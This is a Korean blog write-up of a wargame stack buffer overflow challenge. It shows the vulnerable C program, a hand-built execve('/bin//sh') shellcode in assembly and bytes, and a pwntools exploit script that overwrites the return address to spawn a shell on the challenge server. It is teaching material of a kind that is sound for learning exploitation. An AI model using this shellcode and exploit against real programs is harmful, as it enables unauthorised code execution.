Description
프로그램의 취약점을 통해 셸을 획득한 후, "flag" 파일을 읽어야 한다.
공격 대상의 코드
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x80]; // 128바이트
initialize();
printf("buf = (%p)\n", buf);
scanf("%141s", buf);
return 0;
}
나는 main 함수의 return address를 내가 실행시키고자 하는 함수의 주소로 overwrite하여 실행 흐름을 조작할 것이다.
main 함수의 stack frame 구조는 아래와 같을 것이다.
낮은 주소
...
buf (128바이트)
SFP (4바이트 ∵ Arch: i386-32-little)
Return address (4바이트 ∵ Arch: i386-32-little)
...
높은 주소
따라서,
buf에 값을 넣는 scanf 함수를 통해
셸코드를 실은 다음, Return address 시작 부분까지 쓰레기 값으로 채우고, overwrtie할 셸코드의 주소를 덧붙인 payload를 전달하면,
최종적으로 이 셸코드가 실행될 것이다.
셸코드의 주소
이 셸코드는 buf에 저장되므로
buf의 주소를 곧 이 셸코드의 주소로 취급할 수 있다.
셸코드
이제 셸코드를 작성해야 하며, 우선 어셈블리를 짜 보자.
execve system call을 통해 셸 프로그램을 실행하는 어셈블리이다.
syscall | %eax | arg0 (%ebx) | arg1 (%ecx) | arg2 (%edx) |
execve | 0x0b | const char *filename | const char *const *argv | const char *const *envp |
%ebx에는 "//bin/sh"를 넣어야 한다.
이것은 little endian 방식에 맞추어 Null, hs/n, ib// 순으로 push되어야 한다.
hs/n을 ascii -> hex로 변환하면 68 73 2F 6E
ib//을 ascii -> hex로 변환하면 69 62 2F 2F
따라서 아래처럼 어셈블리를 작성한다.
xor eax, eax ; eax = 0 = Null 됨
push eax
push 0x68732f6e ;
push 0x69622f2f ;
mov ebx, esp ; 여기까지 쌓은 걸 ebx로 전달하기 위함
%ecx와 %edx는 0이면 된다.
따라서 아래처럼 어셈블리를 작성한다.
xor ecx, ecx
xor edx, edx
%eax는 0x0b여야 하며 아래 어셈블리를 통해 가능하다. (왜 꼭 이 순서로 더해야 하는지는 모르겠다. . .)
mov al, 0x08
inc eax
inc eax
inc eax
마지막으로 system call을 위하여 아래 어셈블리 한 줄을 추가한다.
int 0x80
위 어셈블리를 모두 합치면 아래와 같이 된다.
xor eax, eax ; eax = 0 = Null 됨
push eax
push 0x68732f6e ;
push 0x69622f2f ;
mov ebx, esp ; 여기까지 쌓은 걸 ebx로 전달하기 위함
xor ecx, ecx
xor edx, edx
mov al, 0x08
inc eax
inc eax
inc eax
int 0x80
위 어셈블리를 바이트 코드로 변환하자.
위 바이트 코드를 아래와 같은 스트링으로 최종 정리하면 완성이다.
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80" (총 26바이트)
쓰레기 값
쓰레기 값은 128 + 4 - 26 = 106바이트만큼 채우면 된다.
Exploit
지금까지 구한 모든 것을 payload에 실어 전송하는 python code를 완성하였다.
exploit.py
from pwn import *
p = remote("host3.dreamhack.games", 15407)
p.recvuntil("buf = (")
buf_address = int(p.recv(10), 16) # p.recv(10): bytes type
# 셸코드
code = "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
# 쓰레기 값 추가
code += "\x41" * 106
# 셸코드의 주소 추가
code += p32(buf_address).decode('latin-1') # p32(buf_address)는 bytes type, decode 거치면 str type
p.send(code)
p.interactive()
위 코드를 실행하면 아래와 같이 exploit이 가능하다.
'IT > Wargame' 카테고리의 다른 글
[System Hacking] fho ㅡ Hook overwrite (1) | 2024.05.17 |
---|---|
[System Hacking] basic_rop_x64 (0) | 2024.03.19 |
[System Hacking] ssp_001 (0) | 2024.03.07 |
[System Hacking] basic_exploitation_001 (0) | 2024.03.03 |
[System Hacking] shell_basic: orw를 통해 flag 파일 얻기 (3) | 2024.02.29 |